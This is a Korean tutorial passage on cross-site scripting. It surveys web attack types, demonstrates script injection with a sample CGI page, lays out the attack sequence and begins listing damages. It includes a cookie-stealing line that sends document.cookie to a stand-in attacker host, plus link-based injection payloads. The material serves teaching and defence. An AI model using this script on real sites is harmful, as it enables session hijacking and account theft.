XSS 공격 기법
1. XSS취약점에 관한 글을 시작하며...
최근 해킹의 Trend를 얘기하자면 단연 WEB해킹이라고 얘기할 수 있을것이고
이 WEB해킹중에서도 "XSS취약점"은 "SQL-Injection"취약점과 함께 WEB해킹의
대표적 기법이라고 할 수 있을것입니다.
"크로스 사이트 스크립팅"이라고 불리우는 "XSS취약점"은 보안에 대한 지식이
없는 웹프로그래머에 의해 개발된 WEB어플리케이션에서 발견되는
어플리케이션(HTTP) 관련 취약점입니다. 따라서 방화벽이나 IDS, 바이러스백신등과
같은 기존의 보안대책들이 이 XSS취약점에 대해서는 거의 감지하지 못하는 상황입니다.
이와같은 이유로 해서 지금까지도 많은 수의 WEB어플리케이션들이 이 취약점을 이용한
공격에 거의 무방비로 노출되어 있다고 말할 수 있습니다.
이글에서는 XSS가 어떤 취약점인지, 이 취약점을 갖고있는 사이트가 공격받았을 경우
어떤 피해를 입을수 있는지, 왜 그런 security hole이 생기는 건지, 이 취약성에 대한
적절한 대책은 무엇인지에 대해 하나하나 살펴보도록 하겠습니다.
전체 글에 대한 개요를 대충 잡고 보니 글이 꽤나 길어질것 같은 생각이 드는군요....
적당히 나눠서 시리즈(?)로 포스팅 하도록 하겠습니다.
일단 글의 순서는 다음과 같이 잡겠습니다.
1. XSS취약점에 관한글을 시작하며... (오늘 쓴글)
2. WEB어플리케이션 공격기법의 종류
3. XSS의 정의 및 아키텍쳐
4. XSS공격의 순서
5. XSS공격으로 인한 피해
6. HTTP 및 HTML문장내의 Tag문자에 대한 대책
7. 입력값검사를 통한 XSS취약점 대응
8. 입력값검사시 유의점
9. Sanitize(무효화)를 통한 XSS취약점 대응
10. 끝내며...
(주1) 이글에서는 "CrossSiteScripting취약점"을 "XSS취약점"이라고 표기했습니다.
약어는 "CSS"가 맞고 "CSS취약점"이라고 써져있는 글도 있습니다만 "CSS"라는
약어는 이미 "Cascading Style Sheets"의 약어로 사용되고 있어 혼동될수도
있기때문에 "CrossSiteScripting취약점"은 보통 "XSS취약점"이라고 하며
제 글에서도 "XSS"라고 표기하겠습니다.
2. WEB어플리케이션 공격기법의 종류
오늘글은 약간은 주제밖의 얘기가 될것 같긴하지만 "XSS취약점"에 대해
얘기하기전에 대표적인 WEB해킹 기법에는 어떤것들이 있는지 살펴볼까 합니다.
각 항목별 상세설명은 차후에 기회가 될때 하나씩 얘기해보도록 하고 오늘은
간단한 개요정도만 써보도록 하겠습니다.
A. Cross Site Scripting(크로스 사이트 스크립팅)
- 게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가
보이게해 타 사용자의 사용을 방해하거나 쿠키 및 기타 개인정보를 특정 사이트로
전송하는등의 문제
B. SQL Injection(SQL문 삽입공격)
- 웹어플리케이션에 의도적으로 sql문을 삽입하여 로그인 인증과정을 우회하거나
공격자의 악의적인 쿼리문을 DB에 보낼수 있는 문제
C. Parameter Manipulation(파라미터 변조)
- 웹어플리케이션이 사용자의 파라미터값을 검증하지 않을경우 이를 악용하여
어플리케이션이 비정상적으로 동작하게끔 하는 문제
D. Brute Force Attacks(반복[사전식]공격)
- Get이나 Post방식으로 인증하는 페이지에서 특정 ID에 대해 패스워드를 무한
입력하여 해당 ID의 패스워드를 획득할수 있는 문제
E. Buffer Overflows(버퍼오버플로우)
- 웹서버에서 구동되는 실행파일에 비정상적인 버퍼 값을 입력시켜 시스템을 다운
시키거나 관리자권한을 획득하는 문제
F. Session Hijacking/Cookie Spoofing (세션 가로채기,쿠키변조)
- 웹 어플리케이션과 클라이언트간 주고받는 정보를 임의적으로 변경하거나 쿠키
정보를 변조하여 인증을 회피하거나 중요 정보를 획득하는 문제
G. User Cgi Upload(사용자cgi 업로드)
- 사용자가 악의적인 목적으로 웹어플리케이션에서 수행가능한 cgi프로그램을
(asp,jsp,php,perl등)업로드하여 서버를 공격하는 문제
H. Remote Administration Flaws(관리자 페이지 접속 공격)
- 인터넷상에 공개된 관리자 페이지를 다양한 방법으로 공격하여 관리자권한 획득을
시도하는 문제
I. Directory/Path Traversal (디렉토리/경로 탐색)
- 웹 서버 설정상의 오류나 중요 파일의 위치 오류를 이용하여 디렉터리 리스팅을
통해 특정파일에 접근하거나 중요정보를 획득할수 있는 문제
이상은 주요 WEB공격법을 제가 임의로 나눠본것이고 이것 말고도 PHP로 구현된
웹서버에서만 발견되는 "외부 파일 include취약점"이나 고전적인 "취약한 cgi공격"
등 그 종류가 수없이 많습니다.
이러한 WEB공격들은 종래의 OS공격과는 달리 다음과 같은 몇가지 특징들이 있습니다.
A. 방화벽,IDS등 기존의 보안대책으로는 대응하기 어렵다.
B. 반드시 서버관리자 권한을 뺐는것이 목적이 아니다.
C. 각 WEB어플리케이션마다 공격의 패턴이 다르다.
D. 바이러스나 웜이 아니므로 백신에서 탐지되지 않는다.
E. 대부분 공격의 흔적이 로그에 남지않는다.
3. XSS의 정의 및 아키텍쳐
먼저 XSS를 이용해 공격을 한다는것은 사용자의 입력내용을 포함하는 HTTP요청에
대해 동적으로 HTML을 생성하는 어플리케이션(CGI)이 공격대상이 됩니다.
정적인 웹페이지, 즉 일반적인 HTML로 작성된 웹페이지에서는 이 문제는 일어나지
않습니다.
이해를 돕기위해 간단한 예제를 보겠습니다.
그림 3-1 : 텍스트입력란이 있는 cgi 프로그램
그림 3-1과 같이 텍스트을 입력받는란이 있어 여기에 사용자가 임의의 문자열을
입력한후 "전송하기"버튼을 누르면 사용자의 입력한 문자열을 웹페이지에
출력해주는 cgi 프로그램이 있다고 하면
결과는 다음과 같을것입니다.
그림 3-2 : 사용자가 입력한 문자열을 이용해 동적 HTML페이지를 생성한 결과
간단한 예제지만 이처럼 사용자가 입력한 문자열을 이용해 동적 HTML 출력하는
경우에 XSS취약점공격이 끼어들 가능성이 있는 페이지입니다.
그림 3-2를 웹브라우져의 "소스보기' 메뉴를 이용해서 HTML소스를 확인해보면
다음과 같습니다.
========================================================
<HTML> <BODY> 메세지 : 안녕하세요 jakehong님! </BODY> </HTML>
========================================================
그럼 이번에는 그림3-1 화면에서 굵은폰트속성을 나타내는 HTML 태그를
사용하여 "안녕하세요 <B>jakehong</B>님!"이라고 입력해 본다면
결과가 어떻게 나올것 같나요?
XSS취약점에 대한 대비가 안되어있는 cgi프로그램이라면 대부분 아래와
같이 "jakehong" 부분이 굵은 글씨로 출력된 페이지를 보게됩니다.
그림 3-3 : jakehong부분이 굵은폰트로 출력된 화면
이 화면의 HTML소스를 보면 다음과 같습니다.
========================================================
<HTML> <BODY> 메세지 : 안녕하세요 <B>jakehong</B>님! </BODY> </HTML>
========================================================
사용자가 입력한 "안녕하세요 <B>jakehong</B>님!" 문자열을 입력한
그대로 출력하고자 한다면 "안녕하세요 <B>jakehong</B>님!"
라고 출력해야 하지만 그 부분에 대한 처리를 해주지 않은것입니다.
그럼 이번에는 입력란에 "<SCRIPT>alert("까꿍!");</SCRIPT>"라고
입력해 보면 아래 그림과 같이 "까꿍!" 이라고 써진 다이얼로그박스가
나타납니다.
그림 3-4 : 입력란에 <SCRIPT>태그를 입력한 결과
HTML소스를 보면
========================================================
<HTML> <BODY> 메세지 : <SCRIPT>alert("까꿍!");</SCRIPT>
</BODY> </HTML>
========================================================
예상한대로 웹브라우져는 이 입력값을 스크립트라고 해석해 다이얼로그창을
보여줍니다. 예제에서는 단지 다이얼로그창을 띄운거지만 이 외에도
모든 script를 삽입하는것이 가능할 것입니다.
이처럼 웹페이지에 사용자가 임의의 script를 삽입시킬수 있는 문제가 있기
때문에 이를 XSS(Cross Site Scripting)라고 합니다.
예제는 자신이 입력한 스크립트를 자신이 실행하는것이지만 약간만 응용하면
다른사람에 의해 작성된 스크립트를 강제로 실행하게끔 하는것이 가능합니다.
그림 3-4에서 "확인"을 누른후 윈도우창 상단의 URL입력란을 보게되면
그림 3-5 : 그림 3-4 에서 "확인"을 누른후 URL란 확인
====================================================================================
http://127.0.0.1:88/xss/text_r.asp?str=%3CSCRIPT%3Ealert%28%22%B1%EE%B2%E1%21%22%29%3B%3C%2FSCRIPT%3E
====================================================================================
이 URL encode 스트링(빨간글자)을 decode하면 이전 페이지에서 사용자가 입력한
<SCRIPT>alert("까꿍!");</SCRIPT>이란 글자가 됩니다.
즉, 이 cgi프로그램은 사용자가 입력한 문자열을 URL뒤에 인자로 추가하여
cgi프로그램에 전달되어 cgi프로그램이 이를 읽어 출력화면의 일부로 웹브라우져에
표시를 하는것입니다.
조금만 더 응용해 보겠습니다.
이번엔 XSS 취약점이 있는 웹싸이트에 다음과 같은 웹페이지를 하나 만듭니다.
===========================================================
<HTML><BODY bgcolor="black" link="white"><A HREF='http://공격자사이트/text_r.asp?str=<script>alert("Merong~") ;</script>'>여기를 클릭 </A></BODY>
</HTML>
===========================================================
그림 3-6 : 다른싸이트에 있는 script를 수행하는 예제
만일 사용자가 해커가 만들어논 이 페이지를 클릭하게 되면
=============================================================================
http://공격자싸이트/text_r.asp?str=<script>alert("Merong~") ;</script>
=============================================================================
해커가 사전에 만들어논 공격자싸이트의 cgi프로그램이 수행되면서
위에서 언급한 스크립트가 실행되는것입니다.
이처럼 공격대상싸이트에 공격자싸이트를 크로스(걸쳐서)시켜서 공격하기
때문에 XSS(Cross Site Scripting)이라고 합니다.
4. XSS공격의 순서
그림 4-1 XSS공격의 순서
1. 해커가 사전에 만들어논 웹페이지에 사용자가 브라우져로 엑세스를 시도한다
2. XSS공격용 link가 포함된 웹페이지가 브라우져에 표시된다.
3. 사용자가 link를 클릭한다.
4. 사용자가 느끼지 못하는사이 취약한싸이트에 있는 해커의 스크립트에 엑세스된다.
5. 사용자의 웹브라우져상에서 해커의 스크립트가 실행된다.
이것이 기본적인 XSS공격의 순서지만 이 외에도 다양한 응용이 가능합니다.
위의 5단계 순서에서 흥미로운 부분은 1단계에서 3단계로 이는 사용자가
조작을 선택하도록 되어 있는 부분입니다. 즉, 사용자가 선택하지 않으면 다음
단계로도 진행되지 않는다는 말입니다.
하지만 해커는 웹페이지를 교묘하게 위장하여 사용자가 느끼지 못하는 사이에
3단계까지 진행하도록 만들어 놓습니다.
예를들면 인터넷을 돌아다니다 보면 한번쯤 이런 메세지를 본적이 있을것입니다.
"이 페이지는 www.***.com으로 변경되었습니다. #초후 자동으로 이동합니다."
이 메세지는 싸이트가 자동으로 이동한다는것을 친절하게 안내해주고 있지만
똑같은 원리로 사용자가 직접 link를 클릭하는것을 기다리지 않고 안내 메세지
없이 자동으로 특정페이지로 이동하게끔 만들어 사용자가 눈치채지 못하게
3단계를 실행할 수 있습니다.
또 메일내용에 스크립트가 위치한 URL주소를 포함시키거나 많은 사람들이 읽는
게시판에 스크립트가 위치한 URL주소를 포함한 글을 올리는 등의 방법으로
사용자가 느끼지 못하게 1단계를 실행할 수도 있습니다.
지난번 글의 예제 프로그램은 파라미터 값이 URL에 인자로 표시되는
GET 메소드를 사용했지만 URL에 전혀 보이지 않는 POST 메소드를
사용해도 똑같은 문제가 일어날수 있습니다.
다시말해 POST 메소드는 XSS취약점의 대안이 될수 없다는 말입니다.
5. XSS공격으로 인한 피해
이전글 까지는 XSS취약점이란게 무엇인지 대해 얘기를 했었습니다.
오늘은 이 XSS취약점으로 인해 일어날수 있는 피해에는 어떤게 있는지 살펴볼까 합니다.
어떤 웹싸이트에 XSS취약점이 존재한다면 해커는 그 취약점을 이용한 공격을
시도할것입니다. 하지만 엄밀히 말해 그 공격이라는것은 XSS취약점이 있는 웹싸이트에
대한 공격이 아니고 그 웹싸이트를 이용하는 사용자들에 대한 공격입니다.
이전부터 웹싸이트 사용자를 대상으로 하는 공격은 존재했었지만 그것은 악의적인
코드가 설치된 웹싸이트를 접속한 사용자가 피해를 당하는 것이였습니다.
XSS를 이용한 공격도 특정 웹싸이트에 접속한 사용자가 피해를 입는다는것은
같지만 문제를 일으키는 코드(스크립트)가 어디에 존재하는가의 차이가 있습니다.
그림4-1 XSS공격의 순서
지난번 글에도 나왔었던 그림4-1을 다시한번 살펴보겠습니다.
위 그림4-1을 보면 스크립트가 실행되는것은 ⑤단계에서지만 이 페이지가 생성되고
전송되는곳은 cracker가 만들어논 ④단계(XSS가 존재하는 취약싸이트)에서 하게됩니다.
다시 말해 사용자는 cracker가 사전에 만들어논 싸이트로부터 보내져온 스크립트가
사용자 브라우져상에서 실행되어 결국 사용자가 직접적인 피해를 입게 되는 것입니다.
스크립트를 이용하여 접근할수 있는 정보의 범위는 일반적으로 그 스크립트를
포함하는 페이지내에 한정됩니다. 쿠키(cookie)도 그 정보들중의 하나입니다.
여기에서 XSS 얘기는 잠시 접고 쿠키(cookie)에 대한 얘기를 잠시 해보겠습니다.
쿠키하면 초코칩쿠키같은 과자만 떠오르시는 분은 이 글을 더이상 읽지 마시고
웹브라우져에서의 쿠키의 의미와 역활에 대해 선행학습하시기 바랍니다.
예를 들어 해커의 싸이트(http://cracker/cookie.html)에 다음과같은 쿠키를 보여주는
스크립트가 있다고 가정해보겠습니다.
========================================================
<SCRIPT> alert(document.cookie); </SCRIPT>
========================================================
누군가 이 페이지에 접속했을때 이 스크립트가 엑세스할수 있는 쿠키는 스크립트가
보내져온 페이지, 즉 http://cracker/cookie.html 페이지와 관련된 쿠키뿐이지
다른 싸이트에서 발행된 쿠키에는 접근할수 없습니다.
그런데 만일 어떤싸이트에 XSS취약점이 존재한다면 이러한 스크립트를 포함한
페이지가 취약한싸이트에서 보내져 올수가 있게됩니다.
그렇게되면 그 스크립트가 엑세스할수 있는 쿠키는 취약한싸이트에서 발행된
쿠키가 되는겁니다.
이 미묘한 차이에 의해
단순히 공격자가 만들어논 악의적인 스크립트가 실행됐을 경우 와는 다른
피해가 발생하는것입니다.
XSS취약점으로 인한 주요 피해는 다음과 같습니다.
1. 쿠키 훔치기(cookie sniffing)
이 문제는 XSS취약점을 이용한 대표적인 피해로써 많이 알려져 있습니다.
"document.location="http://cracker/cookie.cgi?cookie="+document.cookie;"
사용자가 위와 같은 스크립트를 실행하게되면 해커의 싸이트의 cookie.cgi가
수행될때 뒤에 딸린 인자에 사용자의 쿠키가 포함된 형태로 엑세스 하게됩니다.
이 사용자 쿠키는 공격자의 웹서버로그에도 남을것이고 인자로써 사용자쿠키를
받은 cookie.cgi에서 어떤 처리라도 할 수가 있습니다.
여기서 한발 더 나아가 사용자의 쿠키를 훔친후에 원래의 페이지(혹은 강제로
로그아웃 시킨다던지...)를 다시 표시해주는 처리를 해주게 되면 사용자는
자신이 쿠키를 도둑맞았다는 사실조차 알지 못할수도 있습니다.
하지만 이렇게 다른사람에게 쿠키정보가 노출된다는것 자체가 문제는 아닙니다.
다만 이 쿠키의 내용중에 보안상 문제가 될만한 내용을 담고있을 경우
피해가 발생할 수 있습니다.
예를들면 로그인을 위한 사용자ID와 패스워드를 쿠키에 담고있는 웹싸이트가
있다고 가정하면 다른사람이 이 쿠키를 훔쳐갈 경우 해커가 이 ID로 로그인
하는것이 가능하다는 것입니다.
만일 쿠키에 개인정보를 포함하고 있지 않고 세션ID와 같은 정보만을 보관하고
있더라도 이 세션ID만으로 사용자인증을 처리하는 경우에는 마찬가지로
위험하게 됩니다.
해커가 훔친 다른 사용자의 세션ID를 자신의 것과 바꿔치기 할 경우 웹싸이트는
이 해커를 다른 정상적인 사용자로 인증을 하게 되는것입니다.
2. 거짓 페이지 보이기 (이걸 공식적(영어)으로 뭐라 부르는지 모르겠습니다.)
<script>....</script> 대신에 <img>같은 그림을 표시하는 태그가 들어있다면
원래 페이지와는 전혀 관계없는 그림이 표시될것입니다.
아무 태그나 다 사용할 수 있다면 원래 페이지의 일부를 변조하여 사용자에게
보여준다거나 원래페이지와 유사한 거짓페이지를 보여주는것도 가능합니다.
이런 거짓페이지를 보고 진짜라고 믿어 버리는 사람도 적지 않습니다.
박진영의 메일 계정/암호가 이런 방법에 의해 해커에게 노출되어 문제가 된 사고도
있었습니다. 비록 그 사건에 연류된 해커는 잡히긴 했지만 앞으로도 얼마든지
발생가능한 문제라고 할수 있습니다.